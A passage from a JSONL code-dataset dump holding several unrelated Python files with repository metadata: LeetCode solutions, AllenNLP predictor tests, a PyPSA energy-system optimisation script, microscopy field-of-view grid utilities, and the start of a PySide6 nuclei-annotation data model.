(GObject.TYPE_PYOBJECT,))\n","repo_name":"pwil3058/pysm_gtx","sub_path":"entries.py","file_name":"entries.py","file_ext":"py","file_size_in_byte":3943,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"20777308828","text":"#\n# @lc app=leetcode.cn id=9 lang=python3\n#\n# [9] 回文数\n#\n\n# @lc code=start\nclass Solution:\n def isPalindrome(self, x: int) -> bool:\n if x < 0 or (x % 10 == 0 and x != 0):\n return False\n reverted = 0\n while x > reverted:\n reverted = reverted * 10 + x % 10\n x = x // 10\n return x == reverted or x == reverted // 10\n# @lc code=end\n\n","repo_name":"SignorinoY/leetcode","sub_path":"9.回文数.py","file_name":"9.回文数.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33270758212","text":"from allennlp.common.testing import AllenNlpTestCase\nfrom allennlp.models.archival import load_archive\nfrom allennlp.predictors import Predictor\n\n\nclass TestPredictor(AllenNlpTestCase):\n def test_from_archive_does_not_consume_params(self):\n archive = load_archive(\n self.FIXTURES_ROOT / \"simple_tagger\" / \"serialization\" / \"model.tar.gz\"\n )\n Predictor.from_archive(archive, \"sentence-tagger\")\n\n # If it consumes the params, this will raise an exception\n Predictor.from_archive(archive, \"sentence-tagger\")\n\n def test_loads_correct_dataset_reader(self):\n # This model has a different dataset reader configuration for train and validation. The\n # parameter that differs is the token indexer's namespace.\n archive = load_archive(\n self.FIXTURES_ROOT / \"simple_tagger_with_span_f1\" / \"serialization\" / \"model.tar.gz\"\n )\n\n predictor = Predictor.from_archive(archive, \"sentence-tagger\")\n assert predictor._dataset_reader._token_indexers[\"tokens\"].namespace == \"test_tokens\"\n\n predictor = Predictor.from_archive(\n archive, \"sentence-tagger\", dataset_reader_to_load=\"train\"\n )\n assert predictor._dataset_reader._token_indexers[\"tokens\"].namespace == \"tokens\"\n\n predictor = Predictor.from_archive(\n archive, \"sentence-tagger\", dataset_reader_to_load=\"validation\"\n )\n assert predictor._dataset_reader._token_indexers[\"tokens\"].namespace == \"test_tokens\"\n\n def test_get_gradients(self):\n inputs = {\n \"premise\": \"I always write unit tests\",\n \"hypothesis\": \"One time I did not write any unit tests\",\n }\n\n archive = load_archive(\n self.FIXTURES_ROOT / \"decomposable_attention\" / \"serialization\" / \"model.tar.gz\"\n )\n predictor = Predictor.from_archive(archive, \"textual-entailment\")\n\n instance = predictor._json_to_instance(inputs)\n outputs = predictor._model.forward_on_instance(instance)\n labeled_instances = predictor.predictions_to_labeled_instances(instance, outputs)\n for instance in labeled_instances:\n grads = predictor.get_gradients([instance])[0]\n assert \"grad_input_1\" in grads\n assert \"grad_input_2\" in grads\n assert grads[\"grad_input_1\"] is not None\n assert grads[\"grad_input_2\"] is not None\n assert len(grads[\"grad_input_1\"][0]) == 9 # 9 words in hypothesis\n assert len(grads[\"grad_input_2\"][0]) == 5 # 5 words in premise\n","repo_name":"rizwan09/NLPDV","sub_path":"allennlp/allennlp/tests/predictors/predictor_test.py","file_name":"predictor_test.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"22215587337","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSolve network.\n\"\"\"\n\nimport logging\n\nimport numpy as np\nimport pypsa\nfrom helper import override_component_attrs, update_config_with_sector_opts\nfrom vresutils.benchmark import memory_logger\n\nlogger = logging.getLogger(__name__)\npypsa.pf.logger.setLevel(logging.WARNING)\n\n\ndef add_land_use_constraint(n):\n if \"m\" in snakemake.wildcards.clusters:\n _add_land_use_constraint_m(n)\n else:\n _add_land_use_constraint(n)\n\n\ndef _add_land_use_constraint(n):\n # warning: this will miss existing offwind which is not classed AC-DC and has carrier 'offwind'\n\n for carrier in [\"solar\", \"onwind\", \"offwind-ac\", \"offwind-dc\"]:\n ext_i = (n.generators.carrier == carrier) & ~n.generators.p_nom_extendable\n existing = (\n n.generators.loc[ext_i, \"p_nom\"]\n .groupby(n.generators.bus.map(n.buses.location))\n .sum()\n )\n existing.index += \" \" + carrier + \"-\" + snakemake.wildcards.planning_horizons\n n.generators.loc[existing.index, \"p_nom_max\"] -= existing\n\n # check if existing capacities are larger than technical potential\n existing_large = n.generators[\n n.generators[\"p_nom_min\"] > n.generators[\"p_nom_max\"]\n ].index\n if len(existing_large):\n logger.warning(\n f\"Existing capacities larger than technical potential for {existing_large},\\\n adjust technical potential to existing capacities\"\n )\n n.generators.loc[existing_large, \"p_nom_max\"] = n.generators.loc[\n existing_large, \"p_nom_min\"\n ]\n\n n.generators.p_nom_max.clip(lower=0, inplace=True)\n\n\ndef _add_land_use_constraint_m(n):\n # if generators clustering is lower than network clustering, land_use accounting is at generators clusters\n\n planning_horizons = snakemake.config[\"scenario\"][\"planning_horizons\"]\n grouping_years = snakemake.config[\"existing_capacities\"][\"grouping_years\"]\n current_horizon = snakemake.wildcards.planning_horizons\n\n for carrier in [\"solar\", \"onwind\", \"offwind-ac\", \"offwind-dc\"]:\n existing = n.generators.loc[n.generators.carrier == carrier, \"p_nom\"]\n ind = list(\n set(\n [\n i.split(sep=\" \")[0] + \" \" + i.split(sep=\" \")[1]\n for i in existing.index\n ]\n )\n )\n\n previous_years = [\n str(y)\n for y in planning_horizons + grouping_years\n if y < int(snakemake.wildcards.planning_horizons)\n ]\n\n for p_year in previous_years:\n ind2 = [\n i for i in ind if i + \" \" + carrier + \"-\" + p_year in existing.index\n ]\n sel_current = [i + \" \" + carrier + \"-\" + current_horizon for i in ind2]\n sel_p_year = [i + \" \" + carrier + \"-\" + p_year for i in ind2]\n n.generators.loc[sel_current, \"p_nom_max\"] -= existing.loc[\n sel_p_year\n ].rename(lambda x: x[:-4] + current_horizon)\n\n n.generators.p_nom_max.clip(lower=0, inplace=True)\n\n\ndef add_co2_sequestration_limit(n, limit=200):\n \"\"\"\n Add a global constraint on the amount of Mt CO2 that can be sequestered.\n \"\"\"\n n.carriers.loc[\"co2 stored\", \"co2_absorptions\"] = -1\n n.carriers.co2_absorptions = n.carriers.co2_absorptions.fillna(0)\n\n limit = limit * 1e6\n for o in opts:\n if not \"seq\" in o:\n continue\n limit = float(o[o.find(\"seq\") + 3 :]) * 1e6\n break\n\n n.add(\n \"GlobalConstraint\",\n \"co2_sequestration_limit\",\n sense=\"<=\",\n constant=limit,\n type=\"primary_energy\",\n carrier_attribute=\"co2_absorptions\",\n )\n\n\ndef prepare_network(n, solve_opts=None, config=None):\n if \"clip_p_max_pu\" in solve_opts:\n for df in (\n n.generators_t.p_max_pu,\n n.generators_t.p_min_pu,\n n.storage_units_t.inflow,\n ):\n df.where(df > solve_opts[\"clip_p_max_pu\"], other=0.0, inplace=True)\n\n if solve_opts.get(\"load_shedding\"):\n # intersect between macroeconomic and surveybased willingness to pay\n # http://journal.frontiersin.org/article/10.3389/fenrg.2015.00055/full\n n.add(\"Carrier\", \"Load\")\n n.madd(\n \"Generator\",\n n.buses.index,\n \" load\",\n bus=n.buses.index,\n carrier=\"load\",\n sign=1e-3, # Adjust sign to measure p and p_nom in kW instead of MW\n marginal_cost=1e2, # Eur/kWh\n p_nom=1e9, # kW\n )\n\n if solve_opts.get(\"noisy_costs\"):\n for t in n.iterate_components():\n # if 'capital_cost' in t.df:\n # t.df['capital_cost'] += 1e1 + 2.*(np.random.random(len(t.df)) - 0.5)\n if \"marginal_cost\" in t.df:\n np.random.seed(174)\n t.df[\"marginal_cost\"] += 1e-2 + 2e-3 * (\n np.random.random(len(t.df)) - 0.5\n )\n\n for t in n.iterate_components([\"Line\", \"Link\"]):\n np.random.seed(123)\n t.df[\"capital_cost\"] += (\n 1e-1 + 2e-2 * (np.random.random(len(t.df)) - 0.5)\n ) * t.df[\"length\"]\n\n if solve_opts.get(\"nhours\"):\n nhours = solve_opts[\"nhours\"]\n n.set_snapshots(n.snapshots[:nhours])\n n.snapshot_weightings[:] = 8760.0 / nhours\n\n if snakemake.config[\"foresight\"] == \"myopic\":\n add_land_use_constraint(n)\n\n if n.stores.carrier.eq(\"co2 stored\").any():\n limit = config[\"sector\"].get(\"co2_sequestration_potential\", 200)\n add_co2_sequestration_limit(n, limit=limit)\n\n return n\n\n\ndef add_battery_constraints(n):\n \"\"\"\n Add constraint ensuring that charger = discharger:\n 1 * charger_size - efficiency * discharger_size = 0\n \"\"\"\n discharger_bool = n.links.index.str.contains(\"battery discharger\")\n charger_bool = n.links.index.str.contains(\"battery charger\")\n\n dischargers_ext = n.links[discharger_bool].query(\"p_nom_extendable\").index\n chargers_ext = n.links[charger_bool].query(\"p_nom_extendable\").index\n\n eff = n.links.efficiency[dischargers_ext].values\n lhs = (\n n.model[\"Link-p_nom\"].loc[chargers_ext]\n - n.model[\"Link-p_nom\"].loc[dischargers_ext] * eff\n )\n\n n.model.add_constraints(lhs == 0, name=\"Link-charger_ratio\")\n\n\ndef add_chp_constraints(n):\n electric = (\n n.links.index.str.contains(\"urban central\")\n & n.links.index.str.contains(\"CHP\")\n & n.links.index.str.contains(\"electric\")\n )\n heat = (\n n.links.index.str.contains(\"urban central\")\n & n.links.index.str.contains(\"CHP\")\n & n.links.index.str.contains(\"heat\")\n )\n\n electric_ext = n.links[electric].query(\"p_nom_extendable\").index\n heat_ext = n.links[heat].query(\"p_nom_extendable\").index\n\n electric_fix = n.links[electric].query(\"~p_nom_extendable\").index\n heat_fix = n.links[heat].query(\"~p_nom_extendable\").index\n\n p = n.model[\"Link-p\"] # dimension: [time, link]\n\n # output ratio between heat and electricity and top_iso_fuel_line for extendable\n if not electric_ext.empty:\n p_nom = n.model[\"Link-p_nom\"]\n\n lhs = (\n p_nom.loc[electric_ext]\n * (n.links.p_nom_ratio * n.links.efficiency)[electric_ext].values\n - p_nom.loc[heat_ext] * n.links.efficiency[heat_ext].values\n )\n n.model.add_constraints(lhs == 0, name=\"chplink-fix_p_nom_ratio\")\n\n rename = {\"Link-ext\": \"Link\"}\n lhs = (\n p.loc[:, electric_ext]\n + p.loc[:, heat_ext]\n - p_nom.rename(rename).loc[electric_ext]\n )\n n.model.add_constraints(lhs <= 0, name=\"chplink-top_iso_fuel_line_ext\")\n\n # top_iso_fuel_line for fixed\n if not electric_fix.empty:\n lhs = p.loc[:, electric_fix] + p.loc[:, heat_fix]\n rhs = n.links.p_nom[electric_fix]\n n.model.add_constraints(lhs <= rhs, name=\"chplink-top_iso_fuel_line_fix\")\n\n # back-pressure\n if not electric.empty:\n lhs = (\n p.loc[:, heat] * (n.links.efficiency[heat] * n.links.c_b[electric].values)\n - p.loc[:, electric] * n.links.efficiency[electric]\n )\n n.model.add_constraints(lhs <= rhs, name=\"chplink-backpressure\")\n\n\ndef add_pipe_retrofit_constraint(n):\n \"\"\"\n Add constraint for retrofitting existing CH4 pipelines to H2 pipelines.\n \"\"\"\n gas_pipes_i = n.links.query(\"carrier == 'gas pipeline' and p_nom_extendable\").index\n h2_retrofitted_i = n.links.query(\n \"carrier == 'H2 pipeline retrofitted' and p_nom_extendable\"\n ).index\n\n if h2_retrofitted_i.empty or gas_pipes_i.empty:\n return\n\n p_nom = n.model[\"Link-p_nom\"]\n\n CH4_per_H2 = 1 / n.config[\"sector\"][\"H2_retrofit_capacity_per_CH4\"]\n lhs = p_nom.loc[gas_pipes_i] + CH4_per_H2 * p_nom.loc[h2_retrofitted_i]\n rhs = n.links.p_nom[gas_pipes_i].rename_axis(\"Link-ext\")\n\n n.model.add_constraints(lhs == rhs, name=\"Link-pipe_retrofit\")\n\n\ndef extra_functionality(n, snapshots):\n add_battery_constraints(n)\n add_pipe_retrofit_constraint(n)\n\n\ndef solve_network(n, config, opts=\"\", **kwargs):\n set_of_options = config[\"solving\"][\"solver\"][\"options\"]\n solver_options = (\n config[\"solving\"][\"solver_options\"][set_of_options] if set_of_options else {}\n )\n solver_name = config[\"solving\"][\"solver\"][\"name\"]\n cf_solving = config[\"solving\"][\"options\"]\n track_iterations = cf_solving.get(\"track_iterations\", False)\n min_iterations = cf_solving.get(\"min_iterations\", 4)\n max_iterations = cf_solving.get(\"max_iterations\", 6)\n\n # add to network for extra_functionality\n n.config = config\n n.opts = opts\n\n skip_iterations = cf_solving.get(\"skip_iterations\", False)\n if not n.lines.s_nom_extendable.any():\n skip_iterations = True\n logger.info(\"No expandable lines found. Skipping iterative solving.\")\n\n if skip_iterations:\n status, condition = n.optimize(\n solver_name=solver_name,\n extra_functionality=extra_functionality,\n **solver_options,\n **kwargs,\n )\n else:\n status, condition = n.optimize.optimize_transmission_expansion_iteratively(\n solver_name=solver_name,\n track_iterations=track_iterations,\n min_iterations=min_iterations,\n max_iterations=max_iterations,\n extra_functionality=extra_functionality,\n **solver_options,\n **kwargs,\n )\n\n if status != \"ok\":\n logger.warning(\n f\"Solving status '{status}' with termination condition '{condition}'\"\n )\n\n return n\n\n\n# %%\nif __name__ == \"__main__\":\n if \"snakemake\" not in globals():\n from helper import mock_snakemake\n\n snakemake = mock_snakemake(\n \"solve_network_myopic\",\n simpl=\"\",\n opts=\"\",\n clusters=\"45\",\n lv=1.0,\n sector_opts=\"8760H-T-H-B-I-A-solar+p3-dist1\",\n planning_horizons=\"2020\",\n )\n\n logging.basicConfig(\n filename=snakemake.log.python, level=snakemake.config[\"logging_level\"]\n )\n\n update_config_with_sector_opts(snakemake.config, snakemake.wildcards.sector_opts)\n\n tmpdir = snakemake.config[\"solving\"].get(\"tmpdir\")\n if tmpdir is not None:\n from pathlib import Path\n\n Path(tmpdir).mkdir(parents=True, exist_ok=True)\n opts = snakemake.wildcards.sector_opts.split(\"-\")\n solve_opts = snakemake.config[\"solving\"][\"options\"]\n\n fn = getattr(snakemake.log, \"memory\", None)\n with memory_logger(filename=fn, interval=30.0) as mem:\n overrides = override_component_attrs(snakemake.input.overrides)\n n = pypsa.Network(snakemake.input.network, override_component_attrs=overrides)\n\n n = prepare_network(n, solve_opts, config=snakemake.config)\n\n n = solve_network(\n n, config=snakemake.config, opts=opts, log_fn=snakemake.log.solver\n )\n\n if \"lv_limit\" in n.global_constraints.index:\n n.line_volume_limit = n.global_constraints.at[\"lv_limit\", \"constant\"]\n n.line_volume_limit_dual = n.global_constraints.at[\"lv_limit\", \"mu\"]\n\n n.meta = dict(snakemake.config, **dict(wildcards=dict(snakemake.wildcards)))\n n.export_to_netcdf(snakemake.output[0])\n\n logger.info(\"Maximum memory usage: {}\".format(mem.mem_usage))\n","repo_name":"PyPSA/pypsa-eur-sec","sub_path":"scripts/solve_network.py","file_name":"solve_network.py","file_ext":"py","file_size_in_byte":12374,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"67"} +{"seq_id":"41436129606","text":"# Definition for a binary tree node.\nimport collections\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def constructFromPrePost(self, preorder, postorder):# List[int]) -> Optional[TreeNode]:\n preorder = collections.deque(preorder) # to not shift the whole list after poping\n return self.construct(preorder, postorder)\n\n def construct(self, pre, post):\n if post:\n if len(post) == 1:\n return TreeNode(pre.popleft())\n root_val = pre.popleft()\n ind = post.index(pre[0])\n root = TreeNode(root_val)\n root.left = self.construct(pre, post[:ind+1])\n root.right = self.construct(pre, post[ind+1:-1])\n return root\n\ndef main():\n sol = Solution()\n print(sol.constructFromPrePost(preorder = [1,2,4,5,3,6,7], postorder = [4,5,2,6,7,3,1]))\n\nif __name__ == \"__main__\": main()\n","repo_name":"samek571/leetcode-600","sub_path":"889. Construct Binary Tree from Preorder and Postorder Traversal.py","file_name":"889. Construct Binary Tree from Preorder and Postorder Traversal.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71053261655","text":"\"\"\"\nFunctions for generating a grid of FOVs\nusing a dataframe of files-data (including stage-position info)\ncontaining entries from a single FOV\nOriginally a part of filesClasses\n\nnigel 21 nov 2019\n\nLicense and readme found in https://github.com/khchenLab/split-fish\n\"\"\"\n\nimport os\nimport re\nimport numpy as np\nimport pandas as pd\nfrom pprint import pprint as pp\nimport time\nimport warnings\n\nfrom typing import Tuple, Dict, Union, List\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\ndef _stageToImageCoords(stage_to_pixel_matrix: np.ndarray,\n stage_coords: np.ndarray,\n ) -> np.ndarray:\n \"\"\"\n uses the stage-to-pixel tranform to convert\n stage X/Y coordinates, given as 1d ndarray [stage Y, stage X]\n to image coordinates\n ----> X\n |\n v\n Y\n returned as 2 element image coordinates (in pixels) ndarray [Y, X]\n\n Parameters\n ----------\n stage_pixel_matrix: numpy array\n transformation matrix from stage coordinates to pixel coordinates\n used to create a grid of FOVs correctly positioned in pixel space\n\n \"\"\"\n if stage_coords.shape != (2,):\n raise ValueError(\n f\"Invalid stage coords {stage_coords}: \"\n f\"should be a 1D ndarray with shape (2,)\"\n )\n\n return np.squeeze(np.dot(stage_to_pixel_matrix,\n np.array([stage_coords[0], stage_coords[1]])))\n\n\ndef _divideCanvas(image_coord_dict: dict,\n min_separation: float = 200,\n verbose: bool = True,\n ) -> Tuple[list, list]:\n \"\"\"\n divide the entire field into segments so we can assign each FOV to a grid point\n e.g. FOV25 | FOV24 | FOV23 ...\n ^ ^\n same in the vertical direction\n\n assume that most FOVs in a row/column should be\n separated by at least 200 pixels (min_separation parameter)\n but would be offset from one another by less than\n 200 pixels along the orthogonal axis\n (usually the are almost perfectly lined up)\n\n returns\n -------\n tuple (list of y separators, list of x separators)\n \"\"\"\n\n y_list, x_list = [], []\n\n for fov in image_coord_dict:\n y_list.append(image_coord_dict[fov][0])\n x_list.append(image_coord_dict[fov][1])\n\n y_sorted = np.sort(y_list)\n x_sorted = np.sort(x_list)\n\n y_diff_list = y_sorted[1:] - y_sorted[:-1]\n x_diff_list = x_sorted[1:] - x_sorted[:-1]\n\n y_separators, x_separators = [], []\n\n for index, (y_diff, x_diff) in enumerate(zip(y_diff_list, x_diff_list)):\n if y_diff > min_separation:\n y_separators.append((y_sorted[index + 1] + y_sorted[index]) / 2)\n if x_diff > min_separation:\n x_separators.append((x_sorted[index + 1] + x_sorted[index]) / 2)\n\n if verbose:\n print(f\"Y separators: {y_separators}\\n\"\n f\"X separators: {x_separators}\\n\")\n\n return y_separators, x_separators\n\n\n#\n# --------------------------------------------------------------------------------------------\n# Main function for generating grid\n# --------------------------------------------------------------------------------------------\n#\n\ndef generateFovGrid(files_df: pd.DataFrame,\n stage_to_pixel_matrix: np.ndarray,\n fov_subset: List[str] = None,\n hyb: int = None,\n colour_type: str = None,\n plot_grid: bool = True,\n fig_savepath: str = None,\n verbose: bool = True,\n ) -> Tuple[np.ndarray,\n Dict[str, np.ndarray],\n Dict[str, np.ndarray]]:\n \"\"\"\n Generates a grid (numpy string array) containing the FOVs at each given position on the grid\n if no image found for the grid position, entry for that grid point will be \"noimage\"\n (calls _stageToImageCoords, _divideCanvas and plotFovCoordinates)\n\n If the hyb round and type (colour) to use is not specified,\n will choose the first one found in the files dataframe\n\n Parameters\n ----------\n files_df:\n files dataframe \n MUST contain only entries from a single ROI\n fov_list: list\n list of all fovs in the grid\n (usually corresponds to all FOVs in the folder)\n fov_subset: list\n subset of FOVs that you want to analyze/stitich\n hyb, colour_type: int, str\n the hyb round and colour channel or type\n to get stage coordinates from\n plot_grid: bool\n whether to plot out the grid coordinates\n fig_savepath: str\n directory to save the figure in\n\n returns:\n 1) FOV grid\n 2) image coordinates {FOV: [Y, X] 1D ndarray,...}\n 3) stage coordinates {FOV: [stage Y, stage X] 1D ndarray,...}\n \"\"\"\n\n # choose hyb and colour to use if not provided\n # --------------------------------------------\n\n first_index = files_df.index[0]\n\n if hyb is None:\n hyb = files_df.loc[first_index, \"hyb\"]\n print(f\"hyb round to use for grid-coordinates not provided. \"\n f\"Randomly setting hyb to {hyb}.\\n\")\n\n if colour_type is None:\n colour_type = files_df.loc[first_index, \"type\"]\n print(f\"colour-type to use for grid-coordinates not provided. \"\n f\"Randomly setting colour_type to {colour_type}.\\n\")\n\n all_fovs = files_df[\"fov\"].unique()\n\n if fov_subset is None:\n fov_subset = all_fovs\n else:\n fov_subset = [fov for fov in fov_subset if fov in all_fovs]\n\n if verbose:\n print(f\"List of all FOVs in folder:\\n{all_fovs}\\n\\n\"\n f\"Using subset of FOVs:\\n{fov_subset}\")\n\n stage_coords = {}\n image_coords = {}\n\n for fov in all_fovs:\n\n # Check file dataframe for stage x and y coordinate info\n # ------------------------------------------------------\n\n search_str = f\"FOV {fov}, colour_type={colour_type}, hyb = {hyb}\"\n\n fov_mask = files_df[\"fov\"] == fov\n colour_mask = files_df[\"type\"] == colour_type\n hyb_mask = files_df[\"hyb\"] == hyb\n\n selection_mask = fov_mask & colour_mask & hyb_mask\n num_entries_found = np.count_nonzero(selection_mask)\n\n if num_entries_found > 1:\n warnings.warn(f\"more than one entry found for: {search_str}\")\n\n ycoord, xcoord = files_df.loc[selection_mask, [\"ypos\", \"xpos\"]].values[0, :]\n\n if verbose:\n print(\"-\" * 45 + f\"\\n{search_str}:\\n\"\n f\"coordinates: y = {ycoord}, x = {xcoord}\\n\")\n\n if ycoord == np.nan:\n raise ValueError(f\"no data found for y stage coordinates for {search_str}\")\n if xcoord == np.nan:\n raise ValueError(f\"no data found for x stage coordinates for {search_str}\")\n\n stage_coords[fov] = np.array((ycoord, xcoord))\n image_coords[fov] = _stageToImageCoords(stage_to_pixel_matrix, stage_coords[fov])\n\n # Find dimensions of the FOV grid, initialize a grid with \"noimage\" in all positions\n # ----------------------------------------------------------------------------------\n\n y_separators, x_separators = _divideCanvas(image_coords, verbose=True)\n\n max_grid_y = len(y_separators) + 1\n max_grid_x = len(x_separators) + 1\n\n fov_grid = np.array([[\"noimage\"] * max_grid_x] * max_grid_y,\n dtype=np.unicode_)\n\n # Populate the FOV grid with the FOVs in the subset list\n # ------------------------------------------------------\n\n for fov in fov_subset:\n img_coord = image_coords[fov]\n grid_y = int(np.digitize(img_coord[0], y_separators))\n grid_x = int(np.digitize(img_coord[1], x_separators))\n fov_grid[grid_y, grid_x] = fov\n\n if verbose:\n print(f\"Maximum grid extents: Y = {max_grid_y}, X = {max_grid_x}\\n\"\n f\"Initializing FOV grid:\\n {fov_grid}\\n\"\n f\"shape = {fov_grid.shape}\\ndtype = {fov_grid.dtype}\\n\"\n f\"\\nFinal FOV grid:\\n{fov_grid}\")\n\n if plot_grid:\n\n sns.set_style(\"darkgrid\")\n fig, ax = plt.subplots(nrows=1, ncols=2, figsize=(16, 9))\n\n plotFovCoordinates(stage_coords, ax[0],\n title_str=\"Stage\")\n\n plotFovCoordinates(image_coords, ax[1],\n title_str=\"Image\",\n grid_lines=(y_separators, x_separators),\n fov_grid=fov_grid, pad=50)\n\n if fig_savepath is not None:\n time_str = time.strftime('%Y%m%d_%H%M%S')\n gridplot_filepath = os.path.join(fig_savepath, f\"gridplot_{time_str}.png\")\n fig.savefig(gridplot_filepath, dpi=500)\n\n fig.tight_layout()\n\n return fov_grid, image_coords, stage_coords\n\n\n#\n# --------------------------------------------------------------------------------------------\n# Plotting\n# --------------------------------------------------------------------------------------------\n#\n\n\ndef plotFovCoordinates(coord_dict: Dict[str, np.ndarray],\n ax, # matplotlib axes to plot on\n title_str: str = \"\",\n fov_grid: np.ndarray = None,\n grid_lines: Tuple[list, list] = None,\n pad: int = 10,\n ) -> None:\n \"\"\"\n plots the coordinates (either stage or image) for each FOV,\n labelling each point with the respective FOV.\n \"\"\"\n\n # Set font-sizes based on size of grid.\n # minimum font size is 4\n fontsize = max(int(80 // np.sqrt(len(coord_dict))), 4)\n\n for fov in coord_dict:\n\n # plot the point and annotate it with FOV name\n # --------------------------------------------\n\n ax.plot(coord_dict[fov][1], coord_dict[fov][0], \"r.\")\n ax.text(coord_dict[fov][1] + pad, coord_dict[fov][0] - pad, str(fov),\n fontsize=fontsize, fontweight=\"bold\")\n\n if fov_grid is not None:\n\n # annotate the grid position (y grid position, x grid position)\n # -------------------------------------------------------------\n\n grid_position = np.argwhere(fov_grid == fov)\n # print(f\"grid position for {fov}: {grid_position}, {grid_position.size}\")\n\n if grid_position.size >= 2:\n ax.text(coord_dict[fov][1] + pad, coord_dict[fov][0] + pad,\n f\"({grid_position[0,0]},{grid_position[0,1]})\",\n fontsize=fontsize, verticalalignment='top')\n\n if grid_lines is not None:\n\n # add grid lines separating centers of FOVs\n # -----------------------------------------\n\n for line in grid_lines[0]: # y coords, horizontal lines\n ax.axhline(y=line, alpha=0.7, linestyle=\"--\", color=\"orangered\")\n for line in grid_lines[1]: # x coords, vertical lines\n ax.axvline(x=line, alpha=0.7, linestyle=\"--\", color=\"orangered\")\n\n ax.set_aspect('equal', 'box')\n ax.set_ylim(ax.get_ylim()[::-1])\n ax.set_title(f\"Plot of {title_str} coords\")\n","repo_name":"KHChenLab/split-fish","sub_path":"fileparsing/fovGridFunctions.py","file_name":"fovGridFunctions.py","file_ext":"py","file_size_in_byte":11081,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"74486297812","text":"from PySide6.QtCore import (QDir, QFile, QIODevice, QUrl, Qt, Slot, Signal, QPointF,\n QPoint, QEvent, QObject, QThread)\n \nfrom PySide6.QtGui import (QAction, QBrush, QColor, QConicalGradient,\n QCursor, QFont, QFontDatabase, QGradient, QWheelEvent,\n QIcon, QImage, QKeySequence, QLinearGradient,\n QPainter, QPalette, QPixmap, QRadialGradient, QPen,\n QTransform)\n \nfrom PySide6.QtWidgets import (QApplication, QHBoxLayout, QGridLayout, QStackedLayout, QMainWindow, QMenu, QLabel,\n QMenuBar, QPlainTextEdit, QSizePolicy, QSplitter, QScrollBar, QProgressBar, QPushButton, QDial,\n QStatusBar, QWidget, QMessageBox)\n\nfrom matplotlib import path\nimport pandas as pd\nimport numpy as np\nimport os\nimport re\nimport ast\nimport time\nimport random\nfrom datetime import datetime\nfrom gui.utils import im_2_b64, parmap\nfrom PIL import Image\nfrom collections import Counter\n\nimport pickle\nimport copy\nimport xgboost as xgb\nfrom sklearn.metrics import accuracy_score, confusion_matrix\nfrom tqdm import tqdm\nimport paramiko\nimport platform\nimport traceback\nopj = os.path.join\n\n\nclass AsyncApplytoCase(QObject):\n finished = Signal()\n progress = Signal(int)\n def __init__(self, MainWindow):\n super(AsyncApplytoCase, self).__init__()\n self.MainWindow = MainWindow\n \n def run(self):\n \"\"\"Long-running task.\"\"\"\n self.MainWindow.datamodel.apply2case()\n print('Apply async job finished.')\n self.finished.emit()\n\n def stop(self):\n self.terminate()\n print(\"QThread terminated\")\n self.MainWindow.log.write('Async apply to case *** QThread terminated.')\n\n\n\nclass DataModel():\n \n classinfo = None\n activeClassID = None\n activeClassName = None\n activeClassRGB = None\n\n data_X = None\n data_info = None\n data_info_columns = ['case_id', # str\n 'slide_id', # str\n 'filepath', # str\n 'original_class_id', # int\n 'nuclei_index', # int\n 'centroid_x', # int\n 'centroid_y', # int\n 'contour', # str: [[1,2], [3,4], [5,6]]\n 'label_type', # doubleclick, active_learning, region_annotation\n 'AL_epoch', # int\n 'label_toggle_count', # int\n 'label_init_value', # int\n 'label_final_value', # int\n 'label_init_datetime', # str: %Y-%m-%d %H:%M:%S.%f\n 'label_final_datetime', # str: %Y-%m-%d %H:%M:%S.%f\n 'base64string_40x_256x256', # str\n 'base64string_20x_256x256', # str\n 'base64string_10x_256x256', # str\n 'base64string_5x_256x256', # str\n 'base64string_2.5x_256x256', # str\n 'base64string_1.25x_256x256', # str\n 'base64string_0.6125x_256x256', # str\n 'other_information' # str\n ]\n\n def __init__(self,\n MainWindow,\n ):\n self.MainWindow = MainWindow\n\n self.initData()\n\n def initData(self):\n self.data_info = pd.DataFrame(columns = self.data_info_columns)\n self.dataset_id = ''.join(random.choice('0123456789ABCDEF') for i in range(16))\n\n def updateClassInfo(self,\n classinfo: pd.DataFrame,\n action: str):\n print('****** update_classinfo ******')\n print(classinfo)\n self.classinfo = classinfo\n\n # When class name/color changed, we should also update active class name and RGB:\n if self.activeClassID is not None:\n self.setActiveClassID(self.activeClassID)\n else:\n # maybe just initialize the classinfo, there is no active class ID import yet.\n pass\n\n # If a class is deleted, we need to remove the associated data_info and data_X:\n previous_uniq_id = self.data_info['original_class_id'].unique().astype(int)\n for id in previous_uniq_id:\n if id not in self.classinfo.index:\n\n print(id, self.classinfo.index)\n bool_idx_exist = (self.data_info['original_class_id'].values == id)\n self.data_info = self.data_info.loc[~bool_idx_exist,:]\n self.data_X = self.data_X.loc[~bool_idx_exist,:]\n print('Remove ID=%d (total %d nuclei annotation removed).' % (id, np.sum(bool_idx_exist)))\n\n if action == 'update color':\n # after update class info, refresh ML overlay.\n self.ML_apply_all()\n self.overlay_create()\n\n return\n \n def setActiveClassID(self,\n class_id: int):\n classname, rgbcolor = self.classinfo.loc[class_id,:]\n self.activeClassID = class_id\n self.activeClassName = classname\n self.activeClassRGB = rgbcolor\n\n\n\n def activeLearning(self,\n ROI_dict = None):\n if not hasattr(self.MainWindow, 'nucstat') or self.MainWindow.nucstat is None:\n print('No nucstat! Annotation exit.')\n return\n print('Start active learning.')\n\n pass\n\n def analyzeROI(self,\n ROI_dict = None):\n if not hasattr(self.MainWindow, 'nucstat') or self.MainWindow.nucstat is None:\n print('No nucstat! Annotation exit.')\n return\n pass\n\n\n def annotate_all_nuclei_within_ROI(self,\n ROI_dict = None,\n class_id = None,\n testing_ratio=0.3\n ):\n '''\n ROI_dict = {'type': self.ui.mode,\n 'points': points,\n 'points_global': points_global,\n 'rotation': self.rotation}\n '''\n if not 